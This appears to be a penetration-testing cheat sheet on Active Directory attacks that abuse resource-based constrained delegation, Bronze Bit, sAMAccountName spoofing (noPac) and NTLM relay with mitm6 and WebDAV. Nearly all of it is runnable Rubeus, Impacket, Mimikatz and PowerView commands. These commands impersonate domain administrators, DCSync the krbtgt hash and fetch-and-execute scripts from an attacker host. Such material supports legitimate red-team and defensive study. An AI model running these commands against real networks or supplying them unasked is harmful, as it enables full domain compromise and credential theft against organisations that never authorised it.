Resource-based Constrained
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
Shenanigans Labs

MAQ (Machine Account Quota)

PowerShell (ActiveDirectory module):
PS > Get-ADObject -Identity "DC=megacorp,DC=local" -Properties * | select ms-ds-machineAccountQuota
PowerView:
PV3 > Get-DomainObject -Identity "DC=megacorp,DC=local" | select ms-ds-machineAccountQuota
LDAP:
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd1!' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=megacorp,DC=local))' --attrs ms-ds-machineAccountQuota
CrackMapExec:
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M MAQ

RBCD from Windows

Load tools:
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powermad.ps1")
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powerview4.ps1")
Define credentials for the compromised account with the necessary DACL:
PS > $userWithDaclUsername = 'megacorp.local\snovvcrash'
PS > $userWithDaclPassword = ConvertTo-SecureString '[email protected]#' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential($userWithDaclUsername, $userWithDaclPassword)
Add new machine account and configure RBCD (i.e., set msDS-AllowedToActOnBehalfOfOtherIdentity property to value of the new machine account SID) on the vulnerable host (DC01):
Powermad > New-MachineAccount -MachineAccount fakemachine1337 -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
PV3 > $computerSID = Get-DomainComputer -Identity fakemachine1337 -Properties ObjectSid -Verbose -Credential $cred | select -Expand ObjectSid
PS > $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($computerSID))"
PS > $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS > $SD.GetBinaryForm($SDBytes, 0)
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose -Credential $cred
PS > .\Rubeus.exe hash /domain:megacorp.local /user:fakemachine1337$ /password:Passw0rd!
FC525C9683E8FE067095BA2DDC971889
Ask TGS for CIFS and also inject other potentially useful service names into the ticket (sname field is not protected in TGS-REQ):
PS > .\Rubeus.exe s4u /domain:megacorp.local /user:fakemachine1337$ /rc4:FC525C9683E8FE067095BA2DDC971889 /impersonateuser:DC01$ /msdsspn:CIFS/DC01.megacorp.local /altservice:host,wsman,ldap,http /ptt
If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:
  • Try impersonating different privileged users when requesting the ticket.
  • Try using FQDN to NetBIOS under /msdsspn parameter (i.e., CIFS/DC01.megacorp.local > CIFS/DC01).
After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting (WSMAN), DCSync (LDAP) and so on:
PS > klist
# CIFS
PS > cd \\DC01.megacorp.local\c$
PS > ls
PS > c:
# WSMAN
PS > Enter-PSSession -ComputerName DC01.megacorp.local
PS > exit
# LDAP
PS > ...DCSync...
Cleanup:
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Verbose -Credential $cred
Powermad > Remove-MachineAccount -MachineAccount fakemachine1337

PowerView 4.0

Configure RBCD on the vulnerable host (DC01):
PV4 > Set-DomainRBCD DC01 -DelegateFrom fakemachine1337 -Verbose
Cleanup:
PV4 > Set-DomainRBCD DC01 -Clear -Verbose

RBCD from Linux

Add new machine account:
$ addcomputer.py -computer-name 'fakemachine1337' -computer-pass 'Passw0rd!' -dc-ip 192.168.1.11 -dc-host DC02.megacorp.local megacorp.local/snovvcrash:'[email protected]#'
Ask TGS for LDAP:
$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'DC01' -dc-ip 192.168.1.11 megacorp.local/fakemachine1337:'Passw0rd!'

rbcd-attack

Configure RBCD on the vulnerable host (DC01):
$ python3 rbcd.py -f fakemachine1337 -t DC01 -dc-ip 192.168.1.11 megacorp.local/snovvcrash:'Passw0rd!'
$ python3 rbcd.py -f fakemachine1337 -t DC01 -dc-ip 192.168.1.11 megacorp.local/'MEGACORP\SRV01#x27; -hashes :fc525c9683e8fe067095ba2ddc971889

rbcd_permissions

Configure RBCD on the vulnerable host (DC01) via PtH:
$ python3 rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine1337,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889 -l 192.168.1.11

Bronze Bit

CVE-2020-17049
Calculate Kerberos keys for the fake machine account with Get-KerberosAESKey:
PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine1337
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98
Or with Mimikatz:
mimikatz # kerberos::hash /domain:megacorp.local /user:fakemachine1337 /password:Passw0rd!
* rc4_hmac_nt fc525c9683e8fe067095ba2ddc971889
* aes128_hmac 01c7b89a74f7aec1007ded2f3de0a815
* aes256_hmac 211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98
* des_cbc_md5 621a91461f1adffe
Now you can impersonate a protected user:
$ addcomputer.py -computer-name fakemachine1337 -computer-pass 'Passw0rd!' -dc-ip 192.168.1.11 -dc-host DC01.megacorp.local megacorp.local/snovvcrash:'[email protected]#'
$ python3 rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine1337,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H 79bfd1ab35c67c19715aea7f06da66ee:79bfd1ab35c67c19715aea7f06da66ee -l 192.168.1.11
$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'administrator' -dc-ip 192.168.1.11 megacorp.local/fakemachine1337 -hashes :fc525c9683e8fe067095ba2ddc971889 -aesKey 211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98 -force-forwardable
$ secretsdump.py DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt' -dc-ip 192.168.1.11 -no-pass -k

RBCD with UPNs

User j.doe is populated within the msDS-AllowedToActOnBehalfOfOtherIdentity property of the SRV01 machine:
PS > Set-ADComputer SRV01 -PrincipalsAllowedToDelegateToAccount j.doe
Request a regular TGT for j.doe:
PS > .\Rubeus.exe asktgt /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /nowrap
Request a U2U ticket providing TGT within the /ticket and /tgs options and specifying the user to impersonate within the /targetuser option (this is an S4U2self request):
PS > .\Rubeus.exe asktgs /u2u /targetuser:<USER_TO_IMPERSONATE> /nowrap /ticket:<TGT> /tgs:<TGT>
Obtain a hex view of the current TGT session key (RC4 HMAC):
$ python3 -c 'import binascii,base64;print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())'
Set j.doe's NT hash to the hexlified TGT session key:
$ smbpasswd.py megacorp.local/j.doe:'Passw0rd!'@DC01.megacorp.local -newhashes :<TGT_SESSION_KEY_HEX> -altuser MEGACORP/snovvcrash -altpass 'Passw0rd123!'
Go for the S4U attack providing the initial TGT within the /ticket option and the forwardable TGS (got from the U2U request) within the /tgs option (only the S4U2proxy part is performed):
PS > .\Rubeus.exe s4u /msdsspn:host/SRV01.megacorp.local /altservice:http /ticket:<TGT> /tgs:<TGS> /createnetonly:C:\Windows\System32\cmd.exe /show

Automatization

PS > .\Rubeus.exe s4u /u2u /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /impersonateuser:administrator /msdsspn:host/SRV01.megacorp.local /altservice:http /createnetonly:C:\Windows\System32\cmd.exe /show

RBCD for PrivEsc

sAMAccountName Spoofing

CVE-2021-42278, CVE-2021-42287

Check

Windows
Linux
Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC part and be obviously larger:
PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:snovvcrash /password:Passw0rd! /nopac /nowrap
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M nopac

Exploit

Windows
Linux
# create a new machine account
PM > New-MachineAccount -Domain megacorp.local -DomainController DC01.megacorp.local -MachineAccount FakeMachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
# clear SPNs
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear servicePrincipalName -Verbose
# change fake machine's sAMAccountName
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value DC01 -Attribute sAMAccountName -Verbose
# request TGT
PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DC01 /password:Passw0rd! /nowrap
# change fake machine's sAMAccountName once again
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value FakeMachine -Attribute sAMAccountName -Verbose
# request S4U2self
PS > .\Rubeus.exe s4u /domain:megacorp.local /dc:DC01.megacorp.local /altservice:LDAP/DC01.megacorp.local /impersonateuser:Administrator /self /ptt /ticket:<BASE64_TGT>
# fire DCSync
PS > .\mimikatz.exe "lsadump::dcsync /domain:megacorp.local /dc:DC01.megacorp.local /user:MEGACORP\krbtgt" "exit"
Manually with Impacket:
# create a new machine account
$ addcomputer.py -computer-name FakeMachine -computer-pass 'Passw0rd1!' -dc-host DC01.megacorp.local -dc-ip 192.168.1.11 megacorp.local/snovvcrash:'Passw0rd2!'
# clear SPNs
$ addspn.py -u 'megacorp.local\snovvcrash' -p 'Passw0rd2!' -t 'FakeMachine#x27; -c DC01
# change fake machine's sAMAccountName
$ renameMachine.py megacorp.local/snovvcrash:'Passw0rd2!' -dc-ip 192.168.1.11 -current-name 'FakeMachine#x27; -new-name DC01
# request TGT
$ getTGT.py megacorp.local/DC01:'Passw0rd1!' -dc-ip 192.168.1.11
# change fake machine's sAMAccountName once again
$ renameMachine.py megacorp.local/snovvcrash:'Passw0rd2!' -dc-ip 192.168.1.11 -current-name DC01 -new-name 'FakeMachine#x27;
# request S4U2self
$ KRB5CCNAME=DC01.ccache getST.py -spn LDAP/DC01.megacorp.local megacorp.local/DC01 -k -no-pass -dc-ip 192.168.1.11 -impersonate administrator -self
# fire DCSync
$ KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt'
Using noPac:
# providing an existing (owned) computer account creds
$ python3 noPac.py megacorp.local/snovvcrash:'Passw0rd123!' -dc-host DC01.megacorp.local -dc-ip 192.168.1.11 --impersonate administrator -no-add -target-name 'FakeMachine#x27; -old-hash :fc525c9683e8fe067095ba2ddc971889

dNSHostName Spoofing

CVE-2022-26923

mitm6 + WPAD + LDAPS NTLM Relay + RBCD

From Zero Credential to Full Domain Compromise (Haboob Team).pdf
2MB
PDF
$ sudo ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access --no-smb-server -wh attacker-wpad --no-da --no-acl --no-validate-privs [-debug]
$ sudo mitm6 -i eth0 -d megacorp.local --ignore-nofqdn

WebDav + LDAPS NTLM Relay + RBCD

$ cme smb 192.168.1.0/24 -u snovvcrash -p 'Passw0rd!' -M webdav
$ sudo ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access --escalate-user 'PWNED-MACHINE#x27; --no-smb-server --no-da --no-acl --no-validate-privs
$ sudo ./Responder.py -I eth0 -wd -P -v
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' [email protected]/test.txt VICTIM.megacorp.local
$ getST.py -spn cifs/VICTIM.megacorp.local MEGACORP/'PWNED-MACHINE#x27; -dc-ip 192.168.1.11 -hashes :fc525c9683e8fe067095ba2ddc971889 -impersonate administrator